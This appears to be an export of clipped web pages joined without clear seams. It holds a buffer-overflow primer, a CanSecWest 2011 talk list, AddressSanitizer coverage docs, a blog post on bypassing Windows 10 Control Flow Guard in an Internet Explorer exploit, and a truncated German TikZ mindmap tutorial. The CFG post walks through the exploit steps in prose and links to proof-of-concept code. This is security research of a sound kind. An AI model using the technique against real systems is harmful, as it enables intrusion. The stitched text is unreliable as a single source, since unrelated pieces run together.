Mar 15·4 min read<img src='data:image/svg+xml,%3csvg
xmlns='http://www.w3.org/2000/svg' class='svgIcon-use js-evernote-checked'
width='15' height='15' data-evernote-id='74'%3e%3cpath d='M7.438
2.324c.034-.099.09-.099.123 0l1.2 3.53a.29.29 0 0 0 .26.19h3.884c.11 0
.127.049.038.111L9.8 8.327a.271.271 0 0 0-.099.291l1.2
3.53c.034.1-.011.131-.098.069l-3.142-2.18a.303.303 0 0 0-.32 0l-3.145
2.182c-.087.06-.132.03-.099-.068l1.2-3.53a.271.271 0 0 0-.098-.292L2.056
6.146c-.087-.06-.071-.112.038-.112h3.884a.29.29 0 0 0
.26-.19l1.2-3.52z'%3e%3c/path%3e%3c/svg%3e' />

<img src='img/Temp2_1186.jpg' width='75' height='41' /><img
src='img/0*TH9CGzvXkpRA_1AO.jpg' width='1032' height='580' />

Understanding what a buffer overflow is, and the difference between a stack
and heap buffer overflow is covered first. This is necessary in order to
understand how to exploit these flaws and a fundamental building block for
information security.

* * *
...

### Understanding Buffer Overflows

A buffer is a data or memory holding area used to house data. The condition
that causes a buffer overflow is when data is exceeding the allotted size of
the buffer and thus overflows into other memory areas within the program.
Think of two 5L buckets next to one another as the buffers and water as the
data. When one bucket is filled with more than 5L of water the water will
overflow  
out into the other 5L bucket. This is an over simplified analogy of a buffer
overflow however, it illustrates the basic concept. Where these buffers are
located will determine the type of buffer overflow attack; either a stack
buffer overflow or a heap buffer overflow.

#### **Stack Buffer Overflows**

**Memory Architecture**

A stack buffer overflow attack is defined as, “when the targeted  
buffer is located on the stack, usually as a local variable in a function’s
stack frame”.\[1\] In order to understand what a stack buffer overflow is the
stack must be examined and understood. As a program is initialized the central
processing unit \(CPU\) allocates virtual memory to the program’s processes.

<img src='img/Temp2_1188.jpg' width='60' height='75' /><img
src='img/1*4v6giwUGj5t6JnQYiuRZtg.png' width='519' height='648' />

Memory Structure of a Program

The allocated memory is organized into the following sections: text, data
\(initialized data and uninitialized data\), stack and heap. The CPU provides
each process with its own virtual address space. The structure for each of
these regions is shown in the figure provided. Depending on CPU architecture
the stack is allocated either at the bottom or top of the address space and
either grows upward or downward. The stack area and heap grow in opposite
directions into the spare memory allocation.

The stack area is a Last In first Out \(LIFO\) data structure in which a stack
of objects are pushed onto the stack with the last object becoming the first
object to be popped off the stack. The term PUSH and POP are operations used
to add or remove objects from the stack. Imagine 5 boxes that need to be
stacked on top of each other. Then there is a need for the 3rd box. Taking the
box directly out would cause the top 2 boxes to fall. To prevent that from
happening the top 2 boxes are popped off the stack first.

The stack is used to keep track of functions, procedures that the program is
running as well as any parameters or local variables that the function needs.
When this data that is saved on the stack and a function is called a new
structure is created called a stack frame. The stack frame is used to support
the execution of the function being called. The stack frame contains a return  
address, local variables and any arguments passed to the function. The return
address is used to return control back when the function finishes. This
information is stored in CPU registers; which are small sets of data stores
which are part of the processor. Registers are used to store instruction,  
data or memory addresses that the processor can access quickly.

Microprocessors use general purpose registers for storing both data and
addresses. Some important general-purpose registers are _sp_ \(stack
pointer\), _bp_ \(base pointer\), and _ax_ \(the accumulator\). For 16-bit
processor architectures and for 32-bit processors the general-purpose
registers are esp \(extended stack pointer\), _ebp_ \(extended base pointer\),
and _eax_ \(extended accumulator\). The prefix “E” representing the registers
were increased to 32-bits in x86 assembly language.The first register esp is
the stack pointer, and this register stores the address to the top of the
stack. As objects are pushed and popped onto the stack the address that is
stored in esp changes. Next is the _ebp_ register, or the _base pointer_ which
contains a fixed address at the base of the stack frame of the current
function that is running.

<img src='img/Temp2_1187.jpg' width='75' height='62' /><img
src='img/1*Wj8q2RfmBbG33j0FJ86WFA.png' width='482' height='408' />

Stack Frame and CPU Registers

The _ebp_ register is a reference point for the access of arguments and local
variables and only changes when another function is called or ends. Lastly,
the _eax_ register or the accumulator register which is used in storing the
return value of a function and also used in arithmetic instructions. Figure 2
displays a single stack frame and the relation to these CPU registers.

To successfully exploit a stack buffer overflow the return address on the
stack must be overwritten. This is achieved by overflowing local variables
within the local buffer in the figure above. Overflowing the local buffer
variable will overwrite the return address and create a new return address.
This can cause issues when the return address is only partially overwritten
and cause the stack to become misaligned. Determining the spacing or offset
between the local variable and the return address will aid in keeping the
stack aligned.

With the buffer offset determined a malicious payload can be crafted. The
payload will overflow the local variable and return address with a different
return address and inject shellcode successfully exploiting the program.

In the next post we will go over a simple C program that we will cause a stack
overflow and exploit to return to libc.

# CanSecWest Applied Security Conference: Vancouver, British Columbia, Canada

**Created:**| _4/14/2011 3:26:45 PM_  
---|---  
**Updated:**| _4/14/2011 3:26:45 PM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

### Material Archives - List, 2011, 2010, 2009, 2008, 2007, 2006, 2005, 2004,
2003, 2002, 2001, 2000

### CanSecWest 2011 Files

**Network Application Firewalls vs. Contemporary Threats**  
\- Brad Woodberg, _Juniper_ 1.6M  
  
**Black Box Auditing Adobe Shockwave**  
\- Aaron Portnoy, Logan Brown, _Tipping Point / H.P. Zero Day Initiative_ 3.9M  
  
**SMS-o-Death: From Analyzing To Attacking Mobile Phones on a Large Scale**  
\- Nico Golde and Collin Mulliner, _TU-Berlin_ 3.1M  
  
**Runtime Firmware Integrity Verification: What Can Now Be Achieved**  
\- Yves-Alexis Perez and Loic Duflot, _ANSSI_ 288K  
  
**The Law of Web Application Hacking**  
\- Marcia Hofmann, _EFF_ 247K  
  
**Is Your Gaming Console Safe?: Embedded Devices, an AntiVirus-free Safe
Hideout for Malware**  
\- DongJoo Ha and KiChan Ahn, _AhnLab Inc and Korea Financial
Telecommunications & Clearings Institute_ 723K  
  
**Dymanic Cryptographic Trapdoors**  
\- Eric Filiol, _ESIEA Laval CVO Lab & French DoD_ 1.2M  
  
**Understanding and Exploiting Flash ActionScript Vulnerabilities**  
\- Haifei Li, _Fortinet_ 1.4M  
  
**Chip & PIN is Definitely Broken**  
\- Andrea Barisani and Daniele Bianco, _Inversepath_ 2.0M  
  
**iPhone and iPad Hacking**  
\- Ilja van Sprundel, _IOActive_ 2.5M  
  
**Welcome To Rootkit Country**  
\- Graeme Neilson, _Aura Software Security_ 11M  
  
**Project Ubertooth: Building a Better Bluetooth Adapter** \- Michael Ossmann,
_Great Scott Gadgets_ 23M  
  
**Borken Fonts: The Story of Naive Parsers and Attacker Controlled Reboots**  
\- Marc Schönefeld, _Red Hat_ 49M  
  
**Deconstructing ColdFusion**  
\- Chris Eng & Brandon Creighton, _Veracode_ 1.4M  
  
**Stale Pointers Are The New Black**  
\- Vincenzo Iozzo and Giovanni Gola, _Zynamics GmbH_ 2.4M  
  
**A Castle Made of Sand: Adobe Reader X Sandbox**  
\- Richard Johnson, _Sourcefire_ 933K  
  
**Showing How Security Has \(And Hasn't\) Improved, After Ten Years Of
Trying**  
\- Dan Kaminski, Adam Cecchetti and Mike Eddington, _Doxpara & Deja Vu
Security_ 2.0M  
  
**Security Defect Metrics for Targeted Fuzzing**  
\- Dustin Duran, Matt Miller, David Weston, _Microsoft_ 700K  
  
**GRAPE: Generative Rule-based Generic Stateful Fuzzing**  
\- Nicholas Green, _FourteenForty_ 1.2M  

### Sponsors:

<img src='img/Temp2_1373.png' alt='Juniper Networks' />

<img src='img/Temp2_1369.png' alt='Microsoft' />

<img src='img/Temp2_1363.png' width='140' alt='Beyond Security' />

<img src='img/Temp2_1372.png' width='140' alt='Rapid7' />

<img src='img/Temp2_1365.png' alt='Blackberry' />

<img src='img/Temp2_1376.png' width='140' alt='Vulnerability Research Labs' />

<img src='img/Temp2_1358.png' width='140' alt='Adobe' />

<img src='img/Temp2_1361.png' width='140' alt='Amazon' />

<img src='img/Temp2_1382.png' width='140' alt='IOActive' />

<img src='img/Temp2_1362.png' alt='Intel' />

<img src='img/Temp2_1375.png' width='140' alt='VUPEN' />

<img src='img/Temp2_1360.png' alt='TippingPoint' />

<img src='img/Temp2_1379.png' alt='ZDI' />

<img src='img/Temp2_1371.png' alt='Google' />

<img src='img/Temp2_1370.png' width='140' alt='SAINT' />

<img src='img/Temp2_1366.png' alt='Levianthan Security Group' />

<img src='img/Temp2_1359.png' width='140' alt='Dell Secureworks' />

<img src='img/Temp2_1378.png' alt='Core Security Technologies' />

<img src='img/Temp2_1367.png' width='140' height='55' alt='VTTY' />

<img src='img/Temp2_1377.png' alt='Security Focus' />

<img src='img/Temp2_1368.png' alt='Insecure.org' />

<img src='img/Temp2_1374.png' width='140' alt='InfoSecEvents' />

<img src='img/Temp2_1380.png' alt='Security Objectives' />

<img src='img/Temp2_1364.png' alt='MailChannels Assured Messaging' />

<img src='img/Temp2_1381.png' alt='No Starch Press' />

### More Information:

Sponsorship Information Valid XHTML Valid CSS

### Wise words:

"Sen Sen No Waza - to strike the opponent after he has formed the intention to
attack and has committed to a specific motion."

# AsanCoverage - address-sanitizer - AddressSanitizer coverage tool -
AddressSanitizer: a fast memory error detector - Google Project Hosting

**Created:**| _4/14/2014 11:04:36 AM_  
---|---  
**Updated:**| _4/14/2014 11:04:36 AM_  
**Author:**| __  
**Tags:**| _llvm_  
  

# Build and run

  * Compile with `-fsanitize=address -mllvm -asan-coverage=1` for function-level coverage \(very fast\) 
  * Compile with `-fsanitize=address -mllvm -asan-coverage=2` for basic-block-level coverage \(may have up to 30% slowdown on top of AddressSanitizer\) 
  * Run with ASAN\_OPTIONS=coverage=1 

[code]

    % cat -n cov.cc   
         1  #include <stdio.h>  
         2  __attribute__((noinline))  
         3  void foo() { printf("foo\n"); }  
         4    
         5  int main(int argc, char **argv) {  
         6    if (argc == 2)  
         7      foo();  
         8    printf("main\n");  
         9  }  
    % clang++ -g cov.cc -fsanitize=address -mllvm -asan-coverage=1   
    % ASAN_OPTIONS=coverage=1 ./a.out; ls -l *sancov  
    main  
    -rw-r----- 1 kcc eng 4 Nov 27 12:21 a.out.22673.sancov  
    % ASAN_OPTIONS=coverage=1 ./a.out foo ; ls -l *sancov  
    foo  
    main  
    -rw-r----- 1 kcc eng 4 Nov 27 12:21 a.out.22673.sancov  
    -rw-r----- 1 kcc eng 8 Nov 27 12:21 a.out.22679.sancov  
    % 
[/code]

Every time you run an executable instrumented with AsanCoverage one `*.sancov`
file is created during the process shutdown. If the executable is dynamically
linked against instrumented DSOs, one `*.sancov` file will be also created for
every DSO.

# Postprocess

The format of `*.sancov` files is very simple: they contain 4-byte offsets in
the corresponding binary/DSO that were executed during the run.

A simple script `$LLVM/projects/compiler-
rt/lib/sanitizer_common/scripts/sancov.py` is provided to dump these offsets:

[code]

    % sancov.py print a.out.22679.sancov a.out.22673.sancov  
    sancov.py: read 2 PCs from a.out.22679.sancov  
    sancov.py: read 1 PCs from a.out.22673.sancov  
    sancov.py: 2 files merged; 2 PCs total  
    0x465250  
    0x4652a0
[/code]

You can then filter the output of `sancov.py` through `addr2line --exe
ObjectFile` or `llvm-symbolizer --obj ObjectFile` to get file names and line
numbers:

[code]

    % sancov.py print a.out.22679.sancov a.out.22673.sancov 2> /dev/null | llvm-symbolizer --obj a.out  
    cov.cc:3  
    cov.cc:5
[/code]

# Performance

This coverage implementation is **fast**.  
With function-level coverage \(`-mllvm -asan-coverage=1`\) the overhead is not
measurable.  
With basic-block-level \(`-mllvm -asan-coverage=2`\) the overhead varies
between 0 and 25%.

benchmark |  cov0 |  cov1|  diff 0-1|  cov2|  diff 0-2|  diff 1-2  
---|---|---|---|---|---|---  
400.perlbench|  1296.00|  1307.00|  1.01|  1465.00|  1.13|  1.12  
401.bzip2|  858.00|  854.00|  1.00|  1010.00|  1.18|  1.18  
403.gcc|  613.00|  617.00|  1.01|  683.00|  1.11|  1.11  
429.mcf|  605.00|  582.00|  0.96|  610.00|  1.01|  1.05  
445.gobmk|  896.00|  880.00|  0.98|  1050.00|  1.17|  1.19  
456.hmmer|  892.00|  892.00|  1.00|  918.00|  1.03|  1.03  
458.sjeng|  995.00|  1009.00|  1.01|  1217.00|  1.22|  1.21  
462.libquantum|  497.00|  492.00|  0.99|  534.00|  1.07|  1.09  
464.h264ref|  1461.00|  1467.00|  1.00|  1543.00|  1.06|  1.05  
471.omnetpp|  575.00|  590.00|  1.03|  660.00|  1.15|  1.12  
473.astar|  658.00|  652.00|  0.99|  715.00|  1.09|  1.10  
483.xalancbmk|  471.00|  491.00|  1.04|  582.00|  1.24|  1.19  
433.milc|  616.00|  627.00|  1.02|  627.00|  1.02|  1.00  
444.namd|  602.00|  601.00|  1.00|  654.00|  1.09|  1.09  
447.dealII|  630.00|  634.00|  1.01|  653.00|  1.04|  1.03  
450.soplex|  365.00|  368.00|  1.01|  395.00|  1.08|  1.07  
453.povray|  427.00|  434.00|  1.02|  495.00|  1.16|  1.14  
470.lbm|  357.00|  375.00|  1.05|  370.00|  1.04|  0.99  
482.sphinx3|  927.00|  928.00|  1.00|  1000.00|  1.08|  1.08

# Bypassing Control Flow Guard in Windows 10

**Created:**| _1/16/2017 9:20:53 PM_  
---|---  
**Updated:**| _1/16/2017 9:20:53 PM_  
**Author:**| __  
**Tags:**| _windows security mitigations control\_flow\_guard_  
  

  

This blog post is the result of some research I did back in July of 2016, but
did not have the possibility to publish before now. In June of 2016 Theori
published a blog post on an Internet Explorer vulnerability which was patched
in MS16-063, the exploit they wrote was for Internet Explorer 11 on Windows 7,
and as their own blog post indicates the exploit will not work on Windows 10
due to the mitigation technology called Control Flow Guard. This blog post
describes how I ported the exploit to Windows 10 and bypassed CFG, in fact I
found another method, which will be posted in an upcoming blog post.

**Understanding the Enemy – Control Flow Guard**

Control Flow Guard \(CFG\) is a mitigation implemented by Microsoft in Windows
8.1 Update 3 and Windows 10 which attempts to protect indirect calls at the
assembly level. Trend Micro has published a good analysis of how CFG is
implemented on Windows 10. There have already been several bypasses published
for CFG, but most of these previous ones have targeted the CFG implementation
algorithms themselves, while I wanted to look at weaknesses in the
functionality. As Theori wrote in their blog post the exploit technique from
Windows 7 will not work due to the presence of CFG, let us look closer at why
and try to understand a way around it.

The exploit code from the Theori github works on Internet Explorer on Windows
10 up until the overwritten virtual function table is called. So, we are left
with the question of how to leverage the arbitrary read/write primitive to
bypass CFG. According to the research by Trend Micro, CFG is invoked by the
function LdrpValidateUserCallTarget which validates if a function is valid to
use in an indirect call, it looks like this:

<img src='img/1670_?format=1500w.png' width='702' height='188' />

The pointer loaded into EDX is the base pointer of the validation bitmap,
which in this case is:

<img src='img/?format=500w.png' width='189' height='29' />

Then the function which is validated has its address loaded into ECX, if
kernel32\!VirtualProtectStub is taken as example then the address in this case
is:

<img src='img/1667_?format=750w.png' width='327' height='43' />

The address is then right shifted 8 bits and used to load the DWORD which
holds the validation bit for that address, in this case:

<img src='img/1673_?format=750w.png' width='314' height='56' />

The function address is then bit shifted 3 to the right and a bit test is
performed, this essentially does a modulo 0x20 on the bit shifted address
which is then the bit to be checked in the DWORD from the validation bitmap,
so in this case:

<img src='img/1663_?format=750w.png' width='337' height='59' />

So the relevant bit is at offset 0x14 in:

<img src='img/1666_?format=750w.png' width='370' height='82' />

Which means that it is valid, so VirtualProtect is a valid calling address,
however this does not really solve the problem, the arguments for it must be
supplied by the attacker as well. Normally this is done in a ROP chain but any
bytes not stemming from the beginning of a function are not valid. So, the
solution is to find a function which may be called where the arguments can be
controlled and the functionality of the function gives the attacker an
advantage. This requires us to look closer at the exploit.

**Exploit on Windows 10**

In the exploit supplied by Theori, code execution is achieved by overwriting
the virtual function table of the TypedArray with a stack pivot gadget, since
this is no longer possible it is worth looking into the functions available to
a TypedArray, while doing this the following two functions seem interesting:

<img src='img/1664_?format=1000w.png' width='455' height='13' />

<img src='img/1677_?format=1000w.png' width='558' height='13' />

They are at offsets 0x7C and 0x188, they are interesting since they can be
called directly from Javascript code and HasItem has one user controlled
parameter while Subarray has two user controlled parameters. The issue however
is that neither of them return any data other than Booleans. The question is
then which function should be used to overwrite them with, furthermore the
chosen function must take the same number of arguments, otherwise the stack
will be misaligned on return which will raise an exception. The API’s I
searched for should be used to leak a pointer to the stack which could then be
used to overwrite a return address, thus bypassing CFG.

The API I located which could be used is RtlCaptureContext which is present in
kernel32.dll, kernelbase.dll and ntdll.dll, the API takes one argument which
is a pointer to a CONTEXT structure as shown on MSDN:

<img src='img/1678_?format=750w.png' width='301' height='308' />

A CONTEXT structure holds a dump of all the registers including ESP,
furthermore the input value is just a pointer to a buffer which can hold the
data. Looking at the layout of a TypedArray object the following appears:

<img src='img/1680_?format=750w.png' width='364' height='39' />

The first DWORD is the vtable pointer, which can be overwritten to create a
fake vtable holding the address of the RtlCaptureContext API at offset 0x7C,
while the DWORD at offset 0x20 is the pointer to the actual data of the
TypedArray where the size is user controlled:

<img src='img/?format=750w.png' width='361' height='78' />

Since it is also possible to leak the address of this buffer, it can serve as
the parameter for RtlCaptureContext. To accomplish this a fake vtable now has
to be created with a pointer to ntdll\!RtlCaptureContext at offset 0x7C, that
means leaking the address of RtlCaptureContext, which in turn means leaking
the address of ntdll.dll. The default route of performing this would be to use
the address of the vtable which is a pointer into jscript9.dll:

<img src='img/1669_?format=1000w.png' width='559' height='29' />

From this pointer iterate back 0x1000 bytes continuously looking for the MZ
header, and then going through the import table looking for a pointer into
kernelbase.dll. Then doing the same for that pointer to gain the base address
of kernelbase.dll, then looking at the import tables for a pointer into
ntdll.dll and again getting the base address and then looking up the exported
functions from here to find RtlCaptureContext. While this method is perfectly
valid it does have a drawback, if EMET is installed on the system it will
trigger a crash since code coming from jscript9.dll, which our read/write
primitive does, is not allowed to read data from the PE header or to go
through the export table, to get around that I used a different technique.
Remember that every indirect call protected by CFG calls
ntdll\!LdrpValidateUserCallTarget, and since jscript9.dll is protected by CFG
any function with an indirect call contains a pointer directly into ntdll.dll.
One such function is at offset 0x10 in the vtable:

<img src='img/1682_?format=1500w.png' width='701' height='314' />

Using the read primitive, the pointer to ntdll.dll may then be found through
the following function:

<img src='img/1674_?format=750w.png' width='375' height='331' />

Going from a pointer into ntdll.dll to the address of RtlCaptureContext
without looking at the export tables may be accomplished by using the read
primitive to search for a signature or hash. RtlCaptureContext looks like
this:

<img src='img/1676_?format=1500w.png' width='587' height='160' />

The first 0x30 bytes always stay the same and are pretty unique, so they may
be used as a collision free hash when added together as seen below:

<img src='img/1679_?format=750w.png' width='323' height='348' />

Where the function takes a pointer into ntdll.dll as argument.

Putting all of this together gives:

<img src='img/1671_?format=1000w.png' width='475' height='477' />

From here offset 0x200 of the buffer contains the results from
RtlCaptureContext, viewing it shows:

<img src='img/1681_?format=750w.png' width='414' height='172' />

From the above it is clear that stack pointers have been leaked, it is now a
matter of finding an address to overwrite which will give execution control.
Looking at the top of the stack shows:

<img src='img/1665_?format=750w.png' width='376' height='30' />

Which is the current function return address, this address is placed at an
offset of 0x40 bytes from the leaked pointer at offset 0x9C in the
RtlCaptureContext information. With a bit of luck this offset will be the same
for other simple functions, so it should be possible to invoke the write
primitive and make it overwrite its own return address thus bypassing CFG.

The addition to the exploit is shown below:

<img src='img/?format=1000w.png' width='566' height='117' />

Which when run does show EIP control:

<img src='img/1672_?format=1500w.png' width='637' height='92' />

Furthermore, the writes to offset 0x40 and 0x44 are now placed at the top of
stack, which allows for creating a stack pivot and then a ROP chain, one way
could be to use a POP EAX gadget followed by XCHG EAX, ESP gadget.

**Microsoft Mitigation**

Microsoft has stated that CFG bypassed which corrupt return addresses on the
stack are a known design limitation and hence not eligible to fixes or any
kind of bug bounty as shown here:

<img src='img/?format=1500w.png' width='632' height='161' />

With that said, Microsoft has done two things to mitigate this technique,
first in the upcoming version of Windows 10, Return Flow Guard will be
implemented which is seen as a way to stop stack corruptions from giving
execution control. The other is the introduction of sensitive API’s in the
Anniversary edition release of Windows 10, it only protects Microsoft Edge, so
would not help in this case, but it does block the RtlCaptureContext API on
Microsoft Edge.

If you made it this far, thanks for reading. The proof of concept code can be
found on: https://github.com/MortenSchenk/RtlCaptureContext-CFG-Bypass

  

# pgf/TikZ :: Mindmaps

**Created:**| _2/22/2012 9:40:18 PM_  
---|---  
**Updated:**| _2/22/2012 8:40:50 PM_  
**Author:**| __  
**Tags:**| _papers Graphs animation_  
  

# tutorials :: Mindmaps

Inhalt  
---  
  * Trees in Ti _k_ Z
  * Ein einfaches Beispiel
  * Ein ausfürlicheres Beispiel
  * Mindmap-Man

  
Eine Mindmap ist eine grafische Darstellung, die Beziehungen und Relationen
zwischen verschiedenen Begriffen aufzeigen soll. Mindmaps eignen sich zur
Ideensammlung, zum Strukturieren, um Vorträge vorzubereiten und natürlich zur
Prüfungsvorbereitung. In diesem tutorial sollen die Fähigkeiten des pgf-
packages in Sachen Mindmaps, anhand von einfachen Beispielen, aufgezeigt
werden. Im pgf-manual wird dieses Gebiet in Kapitel 25 behandelt.

## Trees in Ti _k_ Z

Mindmaps werden in Ti _k_ Z wie Bäume \(Trees\) konstruiert, weshalb wir uns
zuerst mit der Struktur von solchen Trees beschäftigen. Dafür muss mit
`\usetikzlibrary{trees}` in der Präambel des TeX-Dokumentes die trees-library
geladen werden. Im pgf-manual findet man eine Einführung in Kapitel 15.

Um Trees zu zeichnen machen wir von dem

child

-Befehl gebrauch. Zuerst wird ein 
node

gesetzt, also die Wurzel des Baumes \(root\). Dann folgen die Äste des Baumes
in Form von Kindern \(child\). Jeder Ast kann einen

node

am Ende haben und/oder sich weiter verzweigen. Dafür hier am besten ein
Beispiel.

[/code]

[code]

\begin

\{tikzpicture\}

\tikzstyle

\{level 1\}=\[sibling distance=60mm\]

\tikzstyle

\{level 2\}=\[sibling distance=60mm\]

\tikzstyle

\{level 3\}=\[sibling distance=30mm\]

\node

\{Statistische Tests\} child \{node \{Ein-Stichproben-Fall\} child\{ node
\{Hypothesen über Anteilswerte\}\} child\{ node \{Hypothesen über EWerte\}
child\{ node \{Gauß-Test\}\} child\{ node \{t-Test\}\} \} \} child \{node
\{Zwei-Stichproben-Fall\}\};

\end

\{tikzpicture\}  <img src='img/Temp2_10549.png' />  
---  
back to top

Dieses unvollständige Beispiel zeigt eine mögliche Schematisierung von
statistischen Tests. Der Befehl `\tikzstyle{level 1}=[sibling distance=60mm]`
bewirkt einen Abstand von 60 mm zwischen Ein-Stichproben-Fall und Zwei-
Stichproben-Fall, bestimmt also den Abstand in der ersten Hierarchie-Ebene
\(level 1\). Für die anderen Ebenen folgen entsprechende Befehle. Sollten
keine weiteren Abstandsdefinitionen folgen, so wird der Abstand der letzten
Hierarchie-Ebene verwendet. Der restliche code dürfte eigentlich klar sein.

Mit normalen trees lässt sich schon so einiges anfangen. So kann man z.B. mit
dem

grow

-Befehl bestimmen, in welche Richtung der entsprechende Ast wachsen soll. Dazu im nächsten Abschnitt oder aber im pgf-manual mehr. 
## Ein einfaches Beispiel

Will man mit Ti _k_ Z Mindmaps erstellen, so muss neben der trees-library auch
die mindmap-library geladen werden, also in der Präambel

\usetikzlibrary\{mindmap,trees\}

stehen. Die mindmap-library erlaubt mit der Angabe von

concept

das Erstellen von Mindmap-artigen Gebilden im organischen look.

Hier betrachten wir die \(nichtvorhandene\) Hierarchie der Statistiker-Wg. Als
root-

node

bietet sich natürlich der Name Statistiker-Wg selbst an. Von diesem sollen
sich nun alle vier Mitglieder verzweigen und zusätzlich einige Eigenschaften
aufgezählt werden. Hier sehen wir auch schon das erste Beispiel.

[/code]

[code]

\begin

\{tikzpicture\}\[mindmap, concept color=gray\!50, font=\sf, text=white\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf\]

\node

\[concept\] \{Statsitiker\\\ WG\} child\[concept color=orange, grow=right\]\{
node\[concept\]\{Janna\}\};

\end

\{tikzpicture\}  <img src='img/Temp2_10550.png' />  
---  
back to top

Gleich zu Beginn wird Ti _k_ Z gesagt, dass es sich um eine Mindmap handelt.
Daraufhin werden einige Attribute wie die Farbe und Schriftart des root-
concepts gesetzt. Die Attribute für das level 1 können danach mit

tikzstyle

verändert werden. In diesem Fall wird die Schriftart der ersten Hierarchie-
Ebene verändert. Es folgt die gleiche Syntax wie bei den oben behandelten
trees, jedoch immer mit der Angabe von

concept

und dem Verändern von bestimmten Variablen wie der Farbe. Die Angabe von

grow=right

bewirkt, dass der Ast an der rechten Seite des root-concepts herauswächst.

Nun wollen wir Janna noch einige Eigenschaften zuweisen, wie z.B. Herkunft,
Anwendungsgebiet und in welchem Zimmer sie wohnt. Das führt uns zum nächsten
Beispiel.

[/code]

[code]

\begin

\{tikzpicture\}\[mindmap, concept color=gray\!50, font=\sf, text=white\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf\]

\tikzstyle

\{level 2 concept\}+=\[font=\sf, sibling angle=90\]

\node

\[concept\] \{Statsitiker\\\ WG\} child\[concept color=orange, grow=right\]\{
node\[concept\]\{Janna\} \[clockwise from=90\] child\[concept
color=orange\!70\]\{ node\[concept\]\{Zimmer 02\}\} child\[concept
color=orange\!70\]\{ node\[concept\]\{Flensburg\}\} child\[concept
color=orange\!70, font=\sf \small\]\{ node\[concept\] \{Medizin\\-ische
Biometrie\}\} \};

\end

\{tikzpicture\}  <img src='img/Temp2_10552.png' />  
---  
back to top

Mit

tikzstyle

wird auch hier für das level 2 die Schriftart bestimmt. Zusätzlich aber auch
noch der Winkelabstand, der zwischen den Ästen der zweiten Hiearchie-Ebene
liegen soll. Der Befehl

\[clockwise from=90\]

bestimmt den Startwinkel, an dem der erste Ast wachsen soll. In diesem Fall
also bei 90°. Damit der Name des Anwendungsgebietes in das concept passt, wird
die Schriftgröße noch auf

small

gesetzt.

Die anderen drei WG-Mitglieder werden nun in ähnlicher Art und Weise
hinzugefügt. Das Ergebnis sieht dann wie folgt aus. Das ganze könnte man
natürlich auch als

foreach

-Schleife konstruieren, aber so finde ich es auch mal ganz schön. 
[/code]

[code]

\begin

\{tikzpicture\}\[mindmap, concept color=gray\!50, font=\sf, text=white\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf, sibling angle=90\]

\tikzstyle

\{level 2 concept\}+=\[font=\sf, sibling angle=90\]

\node

\[concept\] \{Statsitiker\\\ WG\} \[clockwise from=45\] child\[concept
color=orange, grow=right\]\{ node\[concept\]\{Janna\} \[clockwise from=135\]
child\[concept color=orange\!70\]\{ node\[concept\]\{Zimmer 02\}\}
child\[concept color=orange\!70\]\{ node\[concept\]\{Flensburg\}\}
child\[concept color=orange\!70, font=\sf \small\]\{ node\[concept\]
\{Medizin\\-ische Biometrie\}\} \} child\[concept color=green\!50\!black\]\{
node\[concept\]\{Jule\} \[clockwise from=45\] child\[concept
color=green\!70\!black\]\{ node\[concept\]\{Zimmer 03\}\} child\[concept
color=green\!70\!black\]\{ node\[concept\]\{Berlin\}\} child\[concept
color=green\!70\!black\]\{ node\[concept\]\{Politik\}\} \} child\[concept
color=red\!80\!black\]\{ node\[concept\]\{Marcus\} \[clockwise from=315\]
child\[concept color=red\!90\!black\]\{ node\[concept\]\{Zimmer 01\}\}
child\[concept color=red\!90\!black\]\{ node\[concept\]\{Erfurt\}\}
child\[concept color=red\!90\!black\]\{ node\[concept\]\{VWL\}\} \}
child\[concept color=blue\!70\]\{ node\[concept\]\{Paul\} \[clockwise
from=225\] child\[concept color=blue\!55\]\{ node\[concept\]\{Zimmer 04\}\}
child\[concept color=blue\!55\]\{ node\[concept\]\{Berlin\}\} child\[concept
color=blue\!55, font=\sf \small\]\{ node\[concept\]
\{Finanz\\-ökono\\-metrie\}\} \};

\end

\{tikzpicture\}  <img src='img/Temp2_10554.png' />  
---  
back to top

## Ein ausführlicheres Beispiel

Nun wollen wir versuchen, mithilfe der mindmap-library die oben begonnene
Übersicht statistischer Tests zu verschönern und zu ergänzen. Dabei reicht es
uns nicht, den Text mit bunten Kreisen zu versehen. Wir wollen vielleicht noch
ein wenig Zusatzinformation an die "Blätter" heften. Das erreichen wir mit

annotation

. Dazu wird dem

child-node

, dem eine Bemerkung angeheftet werden soll, ein Name gegeben. Hier soll z.B.
beim Gauß-Test stehen, dass er nur anzuwenden ist, wenn die Varianz bekannt
ist. Der Gauß-Test bekommt den Namen

gausstest

. Dann wird nach dem baum die Bemerkung mit einem

node

-Befehl hinzugefügt. Mit dem t-Test machen wir das gleiche. Das kann dann in etwa so aussehen. 
[/code]

[code]

\definecolor

\{myblue\}\{HTML\}\{92dcec\}

\tikzstyle

\{every annotation\}=\[fill=myblue, font=\sf\]

\begin

\{tikzpicture\}\[large mindmap, concept color=black, font=\sf \huge,
text=white\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf \Large\]

\tikzstyle

\{level 2 concept\}+=\[font=\sf \large\]

\tikzstyle

\{level 3 concept\}+=\[font=\sf\]

\node

\[concept\] \{Statistische \\\ Tests\} child\[concept color=gray\!80,
grow=left\]\{ node\[concept\] \{Ein-Stichproben-Fall\} child\[concept
color=green\!50\!gray, grow=45\]\{ node\[concept\] \{Hypothesen über den
EWert\} child\[concept color=green\!70\!gray, grow=100\]\{ node\[concept\]
\(gausstest\)\{Gauß-Test\}\} child\[concept color=green\!70\!gray\]\{
node\[concept\] \(ttest\) \{t-Test\}\} \} child\[concept color=red\!70\!gray,
grow=135\]\{ node\[concept\] \{Hypothesen über Anteilswerte\}\} \}
child\[concept color=gray\!80, grow=right\]\{ node\[concept\]\{Zwei-
Stichproben-Fall\}\};

\node

\[annotation, left\] at \(gausstest.west\) \{$\sigma^2$ bekannt\};

\node

\[annotation, right\] at \(ttest.east\) \{$\sigma^2$ unbekannt\};

\end

\{tikzpicture\}  <img src='img/Temp2_10553.png' />  
---  
back to top

Damit diese Mindmap auch eine geeignete Größe hat, habe ich mich für die Größe
large entschieden. Je nachdem, wie groß der Baum wird, sollte auch die Größe
der Mindmap gewählt werden. Bei der Farbgestaltung sind einem keine Grenzen
gesetzt. Nur zu grell sollte es nicht werden, da das sehr schnell ziemlich
anstrengend werden kann. Eine mögliche Ergänzung dieser Übersicht stellt das
